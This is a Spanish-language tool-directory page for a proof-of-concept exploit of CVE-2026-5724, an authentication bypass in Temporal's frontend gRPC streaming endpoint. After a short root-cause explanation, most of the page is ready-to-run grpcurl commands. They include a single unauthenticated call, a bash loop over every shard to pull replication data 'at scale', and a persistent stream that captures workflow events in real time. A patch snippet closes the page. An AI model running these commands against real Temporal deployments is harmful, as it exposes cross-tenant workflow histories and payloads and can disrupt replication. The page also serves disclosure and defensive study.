Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5724 — Prueba de concepto de explotación para CVE-2026-5724, una omisión de autenticación en el servicio gRPC frontend de Temporal que permite acceso no autenticado a los datos de replicación de flujos de trabajo. | Kitploit
Herramientas/GitHubGitHub/tibrn/cve-2026-5724
Análisis de VulnerabilidadesExplotaciónSeguridad WebAutenticaciónSeguridad de APIs
GitHubtibrn/cve-2026-5724

CVE-2026-5724

Prueba de concepto de explotación para CVE-2026-5724, una omisión de autenticación en el servicio gRPC frontend de Temporal que permite acceso no autenticado a los datos de replicación de flujos de trabajo.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

El servicio frontend de Temporal no aplica autenticación en las RPC gRPC de streaming. La cadena de interceptores de streaming omite el interceptor de autorización, lo que permite que llamadores no autenticados accedan a AdminService/StreamWorkflowReplicationMessages, un endpoint privilegiado solo para administradores que transmite datos de replicación de workflows en todos los namespaces.

Detalles

El servidor gRPC del frontend en service/frontend/fx.go configura dos cadenas de interceptores. La cadena de streaming solo incluye telemetryInterceptor.StreamIntercept para métricas y ninguna autenticación:

https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/service/frontend/fx.go#L292-L294

El tipo authorization.Interceptor solo implementa un método de interceptor unario (Intercept). No existe un equivalente para streaming. La única RPC de streaming del frontend es AdminService/StreamWorkflowReplicationMessages, que según https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 debería requerir {Scope: ScopeCluster, Access: AccessAdmin}. La llamada de streaming llega al handler en admin_handler.go:1904 sin autorización, donde se proxya directamente al endpoint de replicación del servicio de historial interno.

PoC

Tome un despliegue de Temporal que exponga la API gRPC del frontend.

Llame a la RPC de streaming de AdminService sin ninguna credencial:

root@kitploit:~
grpcurl -max-time 15 \ -H "temporal-client-cluster-id: 1" \ -H "temporal-client-shard-id: 1" \ -H "temporal-server-cluster-id: 1" \ -H "temporal-server-shard-id: 1" \ -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \ temporal-frontend.example.com:443 \ temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages # La transmisión se conecta. El servidor responde con el estado de replicación # incluyendo exclusiveHighWatermark por shard. Durante la replicación activa, la # respuesta contiene eventos serializados del historial del workflow: # { # "messages": { # "replicationTasks": [{ # "namespaceId": "...", # "workflowId": "...", # "runId": "...", # "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK", # ... # }], # "exclusiveHighWatermark": "148293" # } # }

Para iterar sobre todos los shards y extraer datos a escala:

root@kitploit:~
#!/usr/bin/env bash
set -euo pipefail

TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"   
CLUSTER_ID="${3:-1}"       # initialFailoverVersion: 1=activo, 2=failover

ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"

for SHARD in $(seq 1 "${NUM_SHARDS}"); do
  grpcurl -max-time 10 \
    -H "temporal-client-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-client-shard-id: ${SHARD}" \
    -H "temporal-server-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-server-shard-id: ${SHARD}" \
    -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
    "${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done

Para mantener la transmisión abierta de forma persistente y capturar eventos de replicación en tiempo real:

root@kitploit:~
(
  while true; do
    echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
    sleep 5
  done
) | grpcurl -d @ \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

Impacto

Un atacante con acceso al frontend puede leer datos de replicación de workflows en todos los namespaces y tenants — IDs de workflow, IDs de ejecución, eventos de historial, payloads de actividades sin ninguna credencial. El atacante también puede interferir con la replicación entre centros de datos enviando mensajes SyncReplicationState, y obtiene un puente hacia el servicio de historial interno que normalmente nunca se expone externamente.

Solución

Implemente un StreamServerInterceptor en authorization.Interceptor y agréguelo a la cadena de streaming en service/frontend/fx.go:292-296:

root@kitploit:~
streamInterceptor := []grpc.StreamServerInterceptor{
    telemetryInterceptor.StreamIntercept,
    authInterceptor.StreamIntercept,  // aplicar autenticación en RPC de streaming
}
Descargar herramienta